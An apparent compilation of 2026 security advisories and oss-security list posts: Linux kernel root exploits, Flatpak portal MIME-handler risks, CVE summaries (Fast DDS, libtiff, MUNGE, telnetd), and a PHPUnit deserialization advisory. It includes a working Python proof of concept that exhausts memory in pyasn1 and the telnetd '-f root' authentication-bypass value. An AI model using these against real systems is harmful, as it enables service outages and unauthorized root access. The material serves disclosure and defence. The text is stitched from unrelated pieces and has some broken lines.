A use-after-free in OpenVPN 2.6.0 through 2.6.20 and 2.7alpha1 through 2.7.4 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry

On Tue, 14 Jul 2026 at 04:04:21 +0200, Solar Designer wrote: On Tue, Jul 14, 2026 at 01:19:18AM +0200, Bernd Zeimetz wrote: few hours ago we had a webhost running Debian kernel 6.12.90+deb13.1-amd64 being compromised using a root exploit. This is quite realistic. You'd need 6.12.95 to have the below fixes (quoting from Debian package changelog) for vulnerabilities with public exploits:

- eventpoll: fix epremove struct eventpoll / struct file UAF (CVE-2026-46242)

https://www.openwall.com/lists/oss-security/2026/07/08/13

- ipv6: account for fraggap on the paged allocation path (CVE-2026-53362)

https://github.com/sgkdev/ipv6fragescape

smcv

[1] https://security-tracker.debian.org/tracker/CVE-2026-46331

Hi Bernd,

On Tue, Jul 14, 2026 at 01:19:18AM +0200, Bernd Zeimetz wrote: few hours ago we had a webhost running Debian kernel 6.12.90+deb13.1-amd64 being compromised using a root exploit. This is quite realistic. You'd need 6.12.95 to have the below fixes (quoting from Debian package changelog) for vulnerabilities with public exploits:

- eventpoll: fix epremove struct eventpoll / struct file UAF (CVE-2026-46242)

https://www.openwall.com/lists/oss-security/2026/07/08/13

- ipv6: account for fraggap on the paged allocation path (CVE-2026-53362)

https://github.com/sgkdev/ipv6fragescape

(I expect a proper oss-security posting on the latter issue soon.) Unfortunately not with many useful traces left, the only obvious happening was loading the afalg module (not used by other modules). Probably the attacker ran many exploits, including for already fixed issues such as Copy Fail, which may have left these traces otherwise unrelated to whatever attack ultimately succeeded. I know that afalg is marked as deprecated for 7.2, but is there any known exploit or issue that affects kernels of current distribution? Known exploits against the kernel you were running, yes, but it wasn't current for your distro.

Alexander

P.S. This isn't a Linux-only list, so when starting new threads let's not imply and omit Linux from the Subject line when talking about Linux kernel issues.

ext/openssl: Memory corruption in opensslencrypt with AES-WRAP-PAD

GNU SASL before 2.2.4 lacks sanitization of a short challenge in gsaslntlmclientstep in the NTLM client, which could result in memory disclosure via a crafted server.

Apache HTTP Server: modhttp2 denial of service

Last updated 6 June 2026

(Hmm, seems the address I sent the original email from got dropped. Adding it back via CC...)

On Tue, 19 May 2026 11:03:12 +0100 Simon McVittie <smcv () debian org> wrote: On Mon, 18 May 2026 at 22:01:16 -0400, Aaron Rainbolt wrote: Of these two, org.freedesktop.portal.OpenURI.OpenFile is probably more problematic. This is because access to the OpenURI portal seems to be implicitly allowed by Flatpak. Expanding on what Flatpak intends to allow here:

The general design in Flatpak is that communicating with D-Bus peers that own a name of the form org.freedesktop.portal.(anything) is always allowed, and nearly everything else is not allowed by default. The idea is that when services like xdg-desktop-portal own a org.freedesktop.portal. name, that's an opt-in to taking responsibility for doing whatever mediation and prompting is necessary, whereas for other arbitrary services (like for example org.freedesktop.PackageKit) the assumption is that the service is not suitable for use by arbitrary sandboxed apps unless explicitly allowed.

(There are a few other hard-coded exceptions for things like the special org.freedesktop.DBus interface implemented by the message bus itself, which is allowed or denied at a much finer granularity because it's so fundamental to how D-Bus is used.)

The org.freedesktop.portal. special case is about the bus names that are owned, not a specific interface/method. The fact that the method call is org.freedesktop.portal.OpenURI.OpenFile is actually irrelevant to whether Flatpak allows it, even though it happens to follow the same naming convention as bus names; what matters is that it's implemented by the xdg-desktop-portal process, and that process owns the bus name org.freedesktop.portal.Desktop, so the parameters that Flatpak passes to xdg-dbus-proxy result in communication being allowed.

Other org.freedesktop.portal. names can be seen in the NAME column in systemd's busctl --user, for example. On a GNOME system, examples of other portal services include org.freedesktop.portal.IBus and org.freedesktop.portal.Tracker, which are narrower, more-restricted versions of the ibus and localsearch (formerly Tracker) interfaces. The authors of those services are responsible for making them safe.

For xdg-desktop-portal specifically, I believe there is work being done on an "entitlements" mechanism so that in future, some (all?) xdg-desktop-portal interfaces will refuse to process requests from sandboxed apps that do not have the appropriate "entitlement", similar to the way Android permissions work - for example apps that don't have the "screenshot" entitlement might not be allowed to take screenshots, even with user consent. I don't know the finer details of that work, though. It will presumably need a backward-compatibility mechanism where older apps are assumed to have entitlements for most of the functionality that was traditionally always available, otherwise that would be a major functional regression.

As far as I know, the entitlements mechanism is being done at the portal level rather than the D-Bus level: the D-Bus message gets delivered to the portal either way, but the portal chooses whether to take the requested action (possibly after prompting the user) or reject the request. This is analogous to the way modern D-Bus system bus services are usually designed, with the D-Bus message delivered to the service unconditionally, and the service deciding whether to obey or reject it (normally by querying polkit). Thanks for the extra info, this is good to know. If all applications followed the xdg-mime manpage's advice to never execute code when opening a file, this wouldn't be that big of a problem. This is where Wine comes in; it ships a desktop file that registers Wine as a MIME handler for 'application/x-ms-dos-executable', 'application/x-msi', and 'application/x-bat'. Note that not all packaged versions of Wine do this: for example in Debian, this MIME handler was disabled in 2013 in response to <https://bugs.debian.org/327262>. Good. Unfortunately, convincing upstream to follow suit is proving to be a challenge... Unfortunately, I was able to find another program with an unsafe handler registered just while writing this email (which I intend on reporting privately once I've sent this). So while it seems like these kind of handlers aren't super common, they aren't that hard to find if you dig around for a while. CVE-2023-26314 (<https://bugs.debian.org/972146>) in Debian's packaging of the Mono runtime is another example that was already public with a CVE ID issued. I believe that specific vulnerability was specific to Debian (and Debian derivatives that inherited it, like Ubuntu), but the general "shape" of the problem could affect any distro, and it was discussed (briefly) in the thread starting at <https://www.openwall.com/lists/oss-security/2023/01/05/1>. Thanks for the pointer. That's pretty similar to the "other program" I found. We're working on a sandboxing system (really a glorified systemd-nspawn frontend) that allows each sandbox to be self-sufficient enough to not need access to the host's D-Bus daemon. [9] That should prevent any possible way to leverage D-Bus as a sandbox escape mechanism. This is definitely a trade-off: the more barriers a sandboxing system puts up between host and sandbox, the safer it will be, but the less well-integrated with the host system it will feel. At one extreme, each app could be in its own VM (very safe, very poorly integrated unless heroic efforts are undertaken to provide communication between them), and at the other extreme, the apps could be effectively un-sandboxed (very well integrated, but very much not safe if an app is compromised or malicious). Sure, this isn't meant to replace Flatpak, I just thought it might be useful to mention here. (Funny enough, one of the end goals of the project is to allow using VMs rather than namespace containers.) Each app/sandboxing framework needs to choose its own security posture, which will determine the extent to which that framework is safe to use with a potentially malicious or compromised app. More-secure/less-integrated is not necessarily always better for the overall security of the ecosystem: if an app framework is inconvenient to use, the likely result is that most people will use completely un-sandboxed apps instead, which could ironically lead to more security exposure than if they had been using imperfectly-sandboxed apps.

Any container-based sandboxing mechanism, however well-designed, is also going to be susceptible to whatever vulnerabilities are available at the Linux syscall interface (which feels especially topical this month!), although this can be mitigated by mechanisms like seccomp (as used in Flatpak and systemd-nspawn) or AppArmor (as used in Snap). Indeed, that is a risk that is on our radar.

I wonder if it would be worth proposing a change to whatever system component handles opening files (probably something in Glib, or xdg-utils, haven't researched that deeply yet), so that handlers cannot be registered for certain "dangerous" file types (i.e. ELF/PE/Mach-O executables, scripts in various languages, etc.)? The only real downside I can see to that is the inability to text editors to register themselves as handlers for script MIME types, and in those instances, the editor can register itself as the handler for another applicable, more generic MIME type (i.e. text/plain), then change its behavior based on the more detailed MIME type of the file after it opens it.

-- Aaron

In the Linux kernel, the following vulnerability has been resolved:

crypto: algifaead - Revert to operating out-of-place

In OCaml opam before 2.5.1, a .install field containing a destination filepath can use ../ to reach a parent directory.

Last updated 18 August 2026

A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.

AWStats 8.0 is vulnerable to Command Injection via the open function

Last updated 30 June 2026

It was discovered that dpkg-deb (a component of dpkg, the Debian package management system) does not properly validate the end of the data stream when uncompressing a zstd-compressed .deb archive, which may result in denial of service (infinite loop spinning the CPU).

MUNGE is an authentication service for creating and validating user credentials. From 0.5 to 0.5.17, local attacker can exploit a buffer overflow vulnerability in munged (the MUNGE authentication daemon) to leak cryptographic key material from process memory. With the leaked key material, the attacker could forge arbitrary MUNGE credentials to impersonate any user (including root) to services that rely on MUNGE for authentication. The vulnerability allows a buffer overflow by sending a crafted message with an oversized address length field, corrupting munged's internal state and enabling extraction of the MAC subkey used for credential verification. This vulnerability is fixed in 0.5.18.

An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gstwavparseadtlchunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GSTROUNDUP2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If t he fields of PIDIDENTITYTOKEN or PIDPERMISSIONSTOKEN in the DATA Submessage are tampered with — specifically by ta mpering with the the vecsize value read by readOctetVector — a 32-bit integer overflow can occur, causing std::vector ::resize to request an attacker-controlled size and quickly trigger OOM and remote process termination. Versions 3.4.1, 3 .3.1, and 2.6.11 patch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, a heap buffer overflow exists in the Fast-DDS DATAFRAG receive path. An un authenticated sender can transmit a single malformed RTPS DATAFRAG packet where fragmentSize and sampleSize are craft ed to violate internal assumptions. Due to a 4-byte alignment step during fragment metadata initialization, the code write s past the end of the allocated payload buffer, causing immediate crash (DoS) and potentially enabling memory corruption ( RCE risk). Versions 3.4.1, 3.3.1, and 2.6.11 patch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). ParticipantGenericMessage is the DDS Security control-message container that carries not only the handshake but also on going security-control traffic after the handshake, such as crypto-token exchange, rekeying, re-authentication, and token delivery for newly appearing endpoints. On receive, the CDR parser is invoked first and deserializes the messagedata (i .e., the DataHolderSeq) via the readParticipantGenericMessage → readDataHolderSeq path. The DataHolderSeq is parsed sequentially: a sequence count (uint32), and for each DataHolder the classid string (e.g. DDS:Auth:PKI-DH:1.0+Req), string properties (a sequence of key/value pairs), and binary properties (a name plus an octet-vector). The parser operat es at a stateless level and does not know higher-layer state (for example, whether the handshake has already completed), s o it fully unfolds the structure before distinguishing legitimate from malformed traffic. Because RTPS permits duplicates, delays, and retransmissions, a receiver must perform at least minimal structural parsing to check identity and sequence n umbers before discarding or processing a message; the current implementation, however, does not "peek" only at a minimal header and instead parses the entire DataHolderSeq. As a result, prior to versions 3.4.1, 3.3.1, and 2.6.11, this parsi ng behavior can trigger an out-of-memory condition and remotely terminate the process. Versions 3.4.1, 3.3.1, and 2.6.11 p atch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes a heap buffer overflow, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONSTOKEN in the DATA Submessage are tampered with — specially readOctetVector reads an unchecked vecsize that is propagated unchanged into readData as the length parameter — the attacker-contro lled vecsize can trigger a 32-bit integer overflow during the length calculation. That overflow can cause large alloca tion attempt that quickly leads to OOM, enabling a remotely-triggerable denial-of-service and remote process termination. Versions 3.4.1, 3.3.1, and 2.6.11 patch the issue.

eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONTOKEN in the DATA Submessage — specifically by tampering with the length field in readBinaryPropertySeq— are modified, an integer overflow occurs, leading to an OOM during the resize operation. This vulnerability is fixed in 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1.

eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONTOKEN in the DATA Submessage — specifically by tampering with the length field in readPropertySeq — are modified, an integer overflow occurs, leading to an OOM during the resize operation. This vulnerability is fixed in 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1.

tcpflow is a TCP/IP packet demultiplexer. In versions up to and including 1.61, wifipcap parses 802.11 management frame elements and performs a length check on the wrong field when handling the TIM element. A crafted frame with a large TIM length can cause a 1-byte out-of-bounds write past tim.bitmap[251]. The overflow is small and DoS is the likely impact; code execution is potential, but still up in the air. The affected structure is stack-allocated in handlebeacon() and related handlers. As of time of publication, no known patches are available.

Overview

A vulnerability has been discovered involving unsafe deserialization of code coverage data in PHPT test execution. The vulnerability exists in the cleanupForCoverage() method, which deserializes code coverage files without validation, potentially allowing remote code execution if malicious .coverage files are present prior to the execution of the PHPT test.

Technical Details

Affected Component: PHPT test runner, method cleanupForCoverage() Affected Versions: <= 8.5.51, <= 9.6.32, <= 10.5.61, <= 11.5.49, <= 12.5.7

Vulnerable Code Pattern

php if ($buffer !== false) { // Unsafe call without restrictions $coverage = @unserialize($buffer); }

The vulnerability occurs when a .coverage file, which should not exist before test execution, is deserialized without the allowedclasses parameter restriction. An attacker with local file write access can place a malicious serialized object with a wakeup() method into the file system, leading to arbitrary code execution during test runs with code coverage instrumentation enabled.

Attack Prerequisites and Constraints

This vulnerability requires local file write access to the location where PHPUnit stores or expects code coverage files for PHPT tests. This can occur through:

CI/CD Pipeline Attacks: A malicious pull request that places a .coverage file alongside test files, executed when the CI system runs tests using PHPUnit and collects code coverage information Local Development Environment: An attacker with shell access or ability to write files to the project directory Compromised Dependencies: A supply chain attack inserting malicious files into a package or monorepo

Critical Context: Running test suites from unreviewed pull requests without isolated execution is inherently a code execution risk, independent of this specific vulnerability. This represents a broader class of Poisoned Pipeline Execution (PPE) attacks affecting CI/CD systems.

Proposed Remediation Approach

Rather than just silently sanitizing the input via ['allowedclasses' => false], the maintainer has chosen to make the anomalous state explicit by treating pre-existing .coverage files for PHPT tests as an error condition.

Rationale for Error-Based Approach:

1. Visibility Over Silence: When an invariant is violated (a .coverage file existing before test execution), the error must be visible in CI/CD output, alerting operators to investigate the root cause rather than proceeding with sanitized input 2. Operational Security: A .coverage file should never exist before tests run, coverage data is generated by executing tests, not sourced from artifacts. Its presence indicates: A malicious actor placed it intentionally Build artifacts from a previous run contaminated the environment An unexpected filesystem state requiring investigation 3. Defense-in-Depth Principle: Protecting a single deserialization call does not address the fundamental attack surface. Proper mitigations for PPE attacks lie outside PHPUnit's scope: Isolate CI/CD runners (ephemeral, containerized environments) Restrict code execution on protected branches Scan pull requests and artifacts for tampering Use branch protection rules to prevent unreviewed code execution

Severity Classification

Attack Vector (AV): Local (L) — requires write access to the file system where tests execute Attack Complexity (AC): Low (L) — exploitation is straightforward once the malicious file is placed Privileges Required (PR): Low (L) — PR submitter status or contributor role provides sufficient access User Interaction (UI): None (N) — automatic execution during standard test execution Scope (S): Unchanged (U) — impact remains within the affected test execution context Confidentiality Impact (C): High (H) — full remote code execution enables complete system compromise Integrity Impact (I): High (H) — arbitrary code execution allows malicious modifications Availability Impact (A): High (H) — full code execution permits denial-of-service actions

Mitigating Factors (Environmental Context)

Organizations can reduce the effective risk of this vulnerability through proper CI/CD configuration:

Ephemeral Runners: Use containerized, single-use CI/CD runners that discard filesystem state between runs Code Review Enforcement: Require human review and approval before executing code from pull requests Branch Protection: Enforce branch protection rules that block unreviewed code execution Artifact Isolation: Separate build artifacts from source; never reuse artifacts across independent builds Access Control: Limit file write permissions in CI environments to authenticated, trusted actors

Fixed Behaviour

When a .coverage file is detected for a PHPT test prior to execution, PHPUnit will emit a clear error message identifying the anomalous state. This ensures:

Visibility: The error appears prominently in CI/CD output and test logs Investigation: Operations teams can investigate the root cause (potential tampering, environment contamination) Fail-Fast Semantics: Test execution stops rather than proceeding with an unexpected state

Recommendation

Update to the patched version immediately if a project runs PHPT tests using PHPUnit with coverage instrumentation in any CI/CD environment that executes code from external contributors. Additionally, audit the project's CI/CD configuration to ensure:

Pull requests from forks or untrusted sources execute in isolated environments Branch protection rules require human review before code execution CI/CD runners are ephemeral and discarded after each build Build artifacts are not reused across independent runs without validation

Last updated 26 June 2026

GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable.

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource

Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")

Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])

print(f"[] Testing with {payloadsizemb}MB payload...")

payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)

DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')

Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload

print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")

try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())

print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')

except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')

print("\n[] Test completed")

Screenshots with the results:

DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />

<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

Leak analysis

A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin

[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.

[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%

Scenario

1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

GnuPG follows a traditional versioning scheme where even numbers (e.g. 2.2 and 2.4) are release branches and odd numbers (2.3 and 2.5) are developer branches. So what we have to wait for is 2.4.9 fixing the vulnerabilities.

Alternatively, distributions will fix the critical ones independently. For instance, Debian 13 Trixie is using 2.4.7 and applies patches downstream.

Regards